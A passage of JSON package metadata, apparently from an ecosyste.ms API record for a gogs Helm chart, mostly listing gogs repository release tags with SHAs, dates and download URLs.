s/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.19/manifests"},{"name":"v0.11.4","sha":"e0a787b5ee077498abf0f8ea78395aec16b90c71","kind":"commit","published_at":"2017-04-05T17:26:53.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11.4","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11.4/manifests"},{"name":"v0.11","sha":"348c75c91b95ce7fb0f6dac263aa7290f2319e1b","kind":"commit","published_at":"2017-04-04T00:06:15.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11/manifests"},{"name":"v0.11rc","sha":"375f1b1fdea51e55bb0c381c791c5757e1517042","kind":"commit","published_at":"2017-03-27T18:56:56.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.11rc","html_url":"https://github.com/gogs/gogs/releases/tag/v0.11rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.11rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.11rc/manifests"},{"name":"v0.10.18","sha":"f54bcba3394bf856b77b674203ea0c80b926cd61","kind":"commit","published_at":"2017-03-14T03:41:22.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10.18","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.18/manifests"},{"name":"v0.10.8","sha":"bb005f3f9a606a5e94da4fc274d3c21234d98090","kind":"commit","published_at":"2017-03-07T19:12:19.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10.8","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.8/manifests"},{"name":"v0.10.1","sha":"9d40b8a83cc3a13ec0859ad253de02c514e4403d","kind":"commit","published_at":"2017-02-28T10:45:50.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10.1/manifests"},{"name":"v0.10","sha":"b3757e424ffc47f7ae07d8fecd9f2ecf98f20679","kind":"commit","published_at":"2017-02-27T23:38:16.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10/manifests"},{"name":"v0.10rc","sha":"437df04d8c8de62e3c75c38d34d305c3dea5bafe","kind":"commit","published_at":"2017-02-21T17:17:39.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.10rc","html_url":"https://github.com/gogs/gogs/releases/tag/v0.10rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.10rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.10rc/manifests"},{"name":"v0.9.141","sha":"23f2efa8c1e21957f950424bfdbdc684ba64b56f","kind":"commit","published_at":"2017-02-11T08:59:25.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.141","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.141","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.141","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.141","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.141/manifests"},{"name":"v0.9.128","sha":"412ba5b2a97ec224f6cf6b78ceba711c8dda3835","kind":"commit","published_at":"2017-01-31T12:36:59.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.128","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.128","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.128","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.128","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.128/manifests"},{"name":"v0.9.113","sha":"114c179e5a50e3313f7a5894100693805e64e440","kind":"commit","published_at":"2016-12-24T02:53:30.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.113","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.113","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.113","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.113","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.113/manifests"},{"name":"v0.9.97","sha":"8ee14db51ebc92728e1edba4545c7d4ea4b21c65","kind":"commit","published_at":"2016-09-01T04:35:04.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.97","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.97","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.97","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.97","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.97/manifests"},{"name":"v0.9.71","sha":"81e6f82cafe4b450996a01618a2ee379c7f67682","kind":"commit","published_at":"2016-08-10T18:57:53.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.71","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.71","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.71","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.71","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.71/manifests"},{"name":"v0.9.60","sha":"ee28fd92551961070cff4fe1b37ab94268c2f111","kind":"commit","published_at":"2016-08-03T19:24:53.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.60","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.60","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.60","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.60","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.60/manifests"},{"name":"v0.9.48","sha":"599716bb1b78e6be903db92fde6d9bf65d79bf3e","kind":"commit","published_at":"2016-07-22T14:21:26.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.48","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.48","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.48","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.48","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.48/manifests"},{"name":"v0.9.46","sha":"1c7dcdd6b948b9c177b5ed4e036e612508ee9832","kind":"commit","published_at":"2016-07-17T02:46:21.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.46","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.46","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.46","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.46","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.46/manifests"},{"name":"v0.9.13","sha":"3fb4f7f4980b4339fd9ef6a3ba5b0acab83d264d","kind":"commit","published_at":"2016-03-19T18:51:41.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.13","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.13/manifests"},{"name":"v0.9.0","sha":"0ea0c5ec4f24f0fc5ef3231085c74b33a16f98ec","kind":"commit","published_at":"2016-03-07T00:55:38.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.9.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.9.0/manifests"},{"name":"v0.8.43","sha":"d324500959c06e975921790f8770aa5d1bdf2344","kind":"commit","published_at":"2016-02-24T06:14:43.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.8.43","html_url":"https://github.com/gogs/gogs/releases/tag/v0.8.43","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.8.43","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.43","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.43/manifests"},{"name":"v0.8.25","sha":"6e03f6161777b38c0c185793e8f0294851796e46","kind":"commit","published_at":"2016-01-30T15:12:23.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.8.25","html_url":"https://github.com/gogs/gogs/releases/tag/v0.8.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.8.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.25/manifests"},{"name":"v0.8.10","sha":"09c981846b2b80c703d26b17024ec2212b8bac63","kind":"commit","published_at":"2015-12-18T12:54:44.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.8.10","html_url":"https://github.com/gogs/gogs/releases/tag/v0.8.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.8.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.10/manifests"},{"name":"v0.8.0","sha":"4df378b89249bac5e7d707b6616e051271a9aea2","kind":"commit","published_at":"2015-12-13T03:04:52.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.8.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.8.0/manifests"},{"name":"v0.7.33","sha":"b5f6206a659eaa76382774675f2e3f2664d0f501","kind":"commit","published_at":"2015-12-06T20:34:17.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.33","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.33/manifests"},{"name":"v0.7.22","sha":"253513cedda72939ec4d496a3325c654659cc15f","kind":"commit","published_at":"2015-11-25T14:36:26.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.22","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.22/manifests"},{"name":"v0.7.19","sha":"d37da1f3929f94703d7c7f19f60288109f95756d","kind":"commit","published_at":"2015-11-21T19:40:29.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.19","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.19/manifests"},{"name":"v0.7.6","sha":"d1e28ac013c2f562939025e6a031671a5a70dd52","kind":"commit","published_at":"2015-11-12T17:50:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.6","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.6/manifests"},{"name":"v0.7.0","sha":"58436b5ea51cb5e09fb244331d7a9acf70258063","kind":"commit","published_at":"2015-11-08T16:08:13.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.7.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.7.0/manifests"},{"name":"v0.6.15","sha":"d5ad4e1141c27410920faaddc60794bf53ee98d0","kind":"commit","published_at":"2015-09-26T18:09:09.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.15","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.15/manifests"},{"name":"v0.6.9","sha":"1c2dbd7183f12eff0be33c7a8d1cf0753dd42324","kind":"commit","published_at":"2015-09-05T09:06:03.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.9","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.9/manifests"},{"name":"v0.6.5","sha":"21d1d2905d42b9c1f911ab95188e774062907499","kind":"commit","published_at":"2015-08-16T11:35:24.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.5","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.5/manifests"},{"name":"v0.6.3","sha":"8e8d535e233966acd1510df78c01e11dc8156514","kind":"commit","published_at":"2015-08-02T04:37:45.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.3","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.3/manifests"},{"name":"v0.6.1","sha":"d76f11c6f14b69bf981e5fc3901cc2c6445773b8","kind":"commit","published_at":"2015-03-26T15:00:22.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"7cf05645873634cd926bb16ff880840330305d5b","kind":"commit","published_at":"2015-03-19T20:44:22.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.6.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.6.0/manifests"},{"name":"v0.5.13","sha":"a38e4a0b027f7be1f5523dc8e729f6f8300a8095","kind":"commit","published_at":"2015-02-13T21:48:23.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.13","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.13/manifests"},{"name":"v0.5.11","sha":"9e61ec316e10e5ca9ba2eb3ac58ff04e4a85d285","kind":"commit","published_at":"2015-01-05T12:45:06.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.11","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.11/manifests"},{"name":"v0.5.9","sha":"c9e0b3b98700e65d2f304e028b7ba4c073209f45","kind":"commit","published_at":"2014-12-14T01:32:30.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.9","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.9/manifests"},{"name":"v0.5.8","sha":"2d8c414f8c44e20619d6680b96044424ef6ebb2a","kind":"commit","published_at":"2014-11-19T00:05:33.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.8","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.8/manifests"},{"name":"v0.5.5","sha":"54930c001df8316d8dfda450b5c39379df2cc1b1","kind":"commit","published_at":"2014-10-10T20:22:49.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.5","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.5/manifests"},{"name":"v0.5.2","sha":"4f74b4e6578be4251af65cd08daa37c884e431a0","kind":"commit","published_at":"2014-09-18T16:21:00.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.2/manifests"},{"name":"v0.5.0","sha":"efb68a0a96574a334a3ec791c0a7f2bc6b96d006","kind":"commit","published_at":"2014-09-14T23:22:52.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.5.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.5.0/manifests"},{"name":"v0.4.2","sha":"a0318db2f9094eda2beea19ed323244b4ae30831","kind":"commit","published_at":"2014-06-06T09:12:56.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.4.2","html_url":"https://github.com/gogs/gogs/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"afc6cbc4797571a138eb150768fb9276b4da702b","kind":"commit","published_at":"2014-06-01T15:06:03.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.4.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"2657f88d9af9420329c49fab20bd1c7a5febc071","kind":"commit","published_at":"2014-05-31T21:15:04.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.4.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.4.0/manifests"},{"name":"v0.3.1","sha":"2401e68d7ed7d53425293ad32d231542d03bbef3","kind":"commit","published_at":"2014-04-29T01:53:40.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.3.1","html_url":"https://github.com/gogs/gogs/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.3.1/manifests"},{"name":"v0.3.0","sha":"de01f814892666298d24f79f769a7c0766119c87","kind":"commit","published_at":"2014-04-21T10:54:07.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.3.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.3.0/manifests"},{"name":"v0.2.0","sha":"76c64b43cb56a298e5fc2ec8adc0d7b820cbe614","kind":"commit","published_at":"2014-03-31T11:57:51.000Z","download_url":"https://codeload.github.com/gogs/gogs/tar.gz/v0.2.0","html_url":"https://github.com/gogs/gogs/releases/tag/v0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gogs/gogs@v0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gogs%2Fgogs/tags/v0.2.0/manifests"}]},"repo_metadata_updated_at":"2026-08-27T21:37:57.631Z","dependent_packages_count":0,"downloads":0,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":0.0,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:helm/keyporttech/gogs","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/helm/keyporttech/gogs","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/helm/keyporttech/gogs","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/helm/keyporttech/gogs/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-18T17:35:29.717Z","issues_count":234,"pull_requests_count":520,"avg_time_to_close_issue":31467889.774647888,"avg_time_to_close_pull_request":2072257.3394077448,"issues_closed_count":71,"pull_requests_closed_count":439,"pull_request_authors_c